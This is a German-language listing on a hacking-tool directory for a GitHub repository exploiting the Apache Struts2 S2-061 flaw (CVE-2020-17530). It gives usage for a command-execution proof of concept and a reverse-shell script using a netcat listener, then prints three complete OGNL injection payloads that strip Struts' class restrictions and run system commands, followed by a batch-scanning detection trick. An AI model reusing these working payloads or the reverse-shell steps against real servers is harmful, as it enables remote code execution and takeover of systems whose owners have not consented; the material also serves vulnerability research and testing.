Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-17530 — Payload für S2-061 sowie das entsprechende einfache PoC/Exp | Kitploit
Tools/GitHubGitHub/wuzuowei/cve-2020-17530
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubwuzuowei/cve-2020-17530

CVE-2020-17530

Payload für S2-061 sowie das entsprechende einfache PoC/Exp

Repository anzeigen
46224vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

S2-061

Die Skripte wurden alle auf Basis der Struts2-059/061-Schwachstellen-Testumgebung von vulhub geschrieben und sind nicht allgemeingültig. Für Hinweise von Profis bin ich dankbar.

  • struts2-061-poc.py (kann einfache Systembefehle ausführen)

    Verwendung: python struts2-061-poc.py http://ip:port command

    Beispiel: python struts2-061-poc.py http://192.168.0.7:8080 whoami

  • S2-061-shell.py (kann eine Reverse-Shell erzeugen)

    Verwendung:

    1. Zuerst auf Maschine A einen bestimmten Port abhören (z. B.: nc -lvvp 7777)

    2. Skript ausführen: python2 S2-061-shell.py target_url, wobei target_url die Adresse der verwundbaren Umgebung ist, im Format http://ip:port

    3. Gemäß den Skript-Hinweisen die IP von Maschine A und den abgehörten Port eingeben; anschließend erhält man im Listener-Fenster von Maschine A eine Shell.



Im Folgenden sind einige Payloads, die von Profis entwickelt wurden:

payload-1:(from ka1n4t)

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

payload-2:(from Smi1e)

Vollständiger Analyse-Artikel: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458

Mit application – der vollständige POC des Ansatzes

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

Mit request – vollständiger POC, gültig für eine einzelne Anfrage (empfohlen)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

Hinweis: Bitte codieren Sie die oben genannten OGNL-Codes mit URL-Encoding, bevor Sie sie im Tool verwenden.

Erkennungsansatz:

In den neuen Versionen von Struts2 ist es nicht mehr möglich, OGNL-Ausdrücke über die Parameterkonstruktion auszuwerten. Wenn man also ein Skript verwenden möchte, um im Batch zu scannen, ob diese Schwachstelle vorliegt, kann man einfach alle Parameter per Brute-Force durchprobieren und anschließend prüfen, ob die Seite den erwarteten Ergebnistext enthält.

z. B.: %{ 'gcowsec-' + (2000 + 20).toString()}

Voraussichtlich erhält man:

gcowsec-2020

Es genügt, mit dem Skript zu prüfen, ob das Ergebnis diesen Text enthält.

Tool herunterladen